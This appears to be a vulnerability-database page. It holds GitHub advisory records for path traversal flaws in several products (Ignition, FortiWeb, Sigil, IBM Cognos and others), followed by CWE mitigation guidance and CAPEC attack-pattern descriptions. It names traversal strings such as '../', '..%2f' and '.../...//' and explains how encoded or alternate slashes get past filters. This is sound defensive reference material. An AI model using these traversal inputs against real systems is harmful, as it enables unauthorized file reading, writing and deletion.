"details": "Multiple directory traversal vulnerabilities in Ignition 1.2, when magic_quotes_gpc is disabled, allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the blog parameter to (1) comment.php and (2) view.php.",
"id": "GHSA-4h27-gqc7-4h48",
"modified": "2022-05-02T03:54:30Z",
"published": "2022-05-02T03:54:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4426"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54940"
},
{
"type": "WEB",
"url": "http://osvdb.org/61225"
},
{
"type": "WEB",
"url": "http://osvdb.org/61226"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0912-exploits/ignition-lfi.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37836"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/10569"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4H43-2654-6C5F
Vulnerability from github – Published: 2022-02-08 00:00 – Updated: 2022-02-08 00:00An improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability [CWE-22] in FortiWeb management interface 6.4.1 and below, 6.3.15 and below, 6.2.x, 6.1.x, 6.0.x, 5.9.x and 5.8.x may allow an authenticated attacker to perform an arbitrary file and directory deletion in the device filesystem.
{
"affected": [],
"aliases": [
"CVE-2021-42753"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-02T11:15:00Z",
"severity": "HIGH"
},
"details": "An improper limitation of a pathname to a restricted directory (\u0027Path Traversal\u0027) vulnerability [CWE-22] in FortiWeb management interface 6.4.1 and below, 6.3.15 and below, 6.2.x, 6.1.x, 6.0.x, 5.9.x and 5.8.x may allow an authenticated attacker to perform an arbitrary file and directory deletion in the device filesystem.",
"id": "GHSA-4h43-2654-6c5f",
"modified": "2022-02-08T00:00:43Z",
"published": "2022-02-08T00:00:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42753"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-21-158"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4H5V-F3PF-4X55
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:25Sigil before 0.9.16 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a ../ (dot dot slash) in a ZIP archive entry that is mishandled during extraction.
{
"affected": [],
"aliases": [
"CVE-2019-14452"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-31T02:15:00Z",
"severity": "HIGH"
},
"details": "Sigil before 0.9.16 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a ../ (dot dot slash) in a ZIP archive entry that is mishandled during extraction.",
"id": "GHSA-4h5v-f3pf-4x55",
"modified": "2024-04-04T01:25:30Z",
"published": "2022-05-24T16:51:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14452"
},
{
"type": "WEB",
"url": "https://github.com/Sigil-Ebook/flightcrew/issues/52#issuecomment-505967936"
},
{
"type": "WEB",
"url": "https://github.com/Sigil-Ebook/flightcrew/issues/52#issuecomment-505997355"
},
{
"type": "WEB",
"url": "https://github.com/Sigil-Ebook/Sigil/commit/04e2f280cc4a0766bedcc7b9eb56449ceecc2ad4"
},
{
"type": "WEB",
"url": "https://github.com/Sigil-Ebook/Sigil/commit/0979ba8d10c96ebca330715bfd4494ea0e019a8f"
},
{
"type": "WEB",
"url": "https://github.com/Sigil-Ebook/Sigil/commit/369eebe936e4a8c83cc54662a3412ce8bef189e4"
},
{
"type": "WEB",
"url": "https://github.com/Sigil-Ebook/Sigil/compare/ea7f27d...5b867e5"
},
{
"type": "WEB",
"url": "https://github.com/Sigil-Ebook/Sigil/releases/tag/0.9.16"
},
{
"type": "WEB",
"url": "https://salvatoresecurity.com/zip-slip-in-sigil-cve-2019-14452"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4085-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4H66-3HCM-MPXM
Vulnerability from github – Published: 2025-04-11 09:30 – Updated: 2026-04-01 18:34Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in John Weissberg Print Science Designer allows Path Traversal. This issue affects Print Science Designer: from n/a through 1.3.155.
{
"affected": [],
"aliases": [
"CVE-2025-32671"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-11T09:15:35Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in John Weissberg Print Science Designer allows Path Traversal. This issue affects Print Science Designer: from n/a through 1.3.155.",
"id": "GHSA-4h66-3hcm-mpxm",
"modified": "2026-04-01T18:34:41Z",
"published": "2025-04-11T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32671"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/print-science-designer/vulnerability/wordpress-print-science-designer-plugin-1-3-155-arbitrary-file-download-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4H77-8RWV-VMXH
Vulnerability from github – Published: 2022-05-14 01:04 – Updated: 2022-05-14 01:04IBM Cognos Analytics 11 could allow a remote attacker to traverse directories on the system. An attacker could send a specially-crafted URL request to write or view arbitrary files on the system. IBM X-Force ID: 158919.
{
"affected": [],
"aliases": [
"CVE-2019-4178"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-15T15:29:00Z",
"severity": "CRITICAL"
},
"details": "IBM Cognos Analytics 11 could allow a remote attacker to traverse directories on the system. An attacker could send a specially-crafted URL request to write or view arbitrary files on the system. IBM X-Force ID: 158919.",
"id": "GHSA-4h77-8rwv-vmxh",
"modified": "2022-05-14T01:04:30Z",
"published": "2022-05-14T01:04:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4178"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/158919"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190509-0004"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=ibm10879079"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4H86-CV74-Q3GP
Vulnerability from github – Published: 2025-10-23 21:31 – Updated: 2025-10-23 21:31An issue was discovered in BAE SOCET GXP before 4.6.0.2. An attacker with the ability to interact with the GXP Job Service may submit a crafted job request that grants read access to files on the filesystem with the permissions of the GXP Job Service process. The path to a file is not sanitized for directory traversal, potentially allowing an attacker to read sensitive files in some configurations.
{
"affected": [],
"aliases": [
"CVE-2025-54963"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-23T20:15:39Z",
"severity": "HIGH"
},
"details": "An issue was discovered in BAE SOCET GXP before 4.6.0.2. An attacker with the ability to interact with the GXP Job Service may submit a crafted job request that grants read access to files on the filesystem with the permissions of the GXP Job Service process. The path to a file is not sanitized for directory traversal, potentially allowing an attacker to read sensitive files in some configurations.",
"id": "GHSA-4h86-cv74-q3gp",
"modified": "2025-10-23T21:31:44Z",
"published": "2025-10-23T21:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54963"
},
{
"type": "WEB",
"url": "https://www.baesystems.com/en-us/product/geospatial-exploitation-products"
},
{
"type": "WEB",
"url": "https://www.geospatialexploitationproducts.com/content/socet-gxp/vulnerabilities-disclosure/#cve-2025-54963"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4H8Q-777F-VCMW
Vulnerability from github – Published: 2022-05-17 03:34 – Updated: 2025-04-12 12:46Directory traversal vulnerability in the Instance Monitor in Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI.
{
"affected": [],
"aliases": [
"CVE-2015-2166"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-04-06T15:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the Instance Monitor in Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI.",
"id": "GHSA-4h8q-777f-vcmw",
"modified": "2025-04-12T12:46:48Z",
"published": "2022-05-17T03:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2166"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/36619"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/131233/Ericsson-Drutt-MSDP-Instance-Monitor-Directory-Traversal-File-Access.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/73901"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.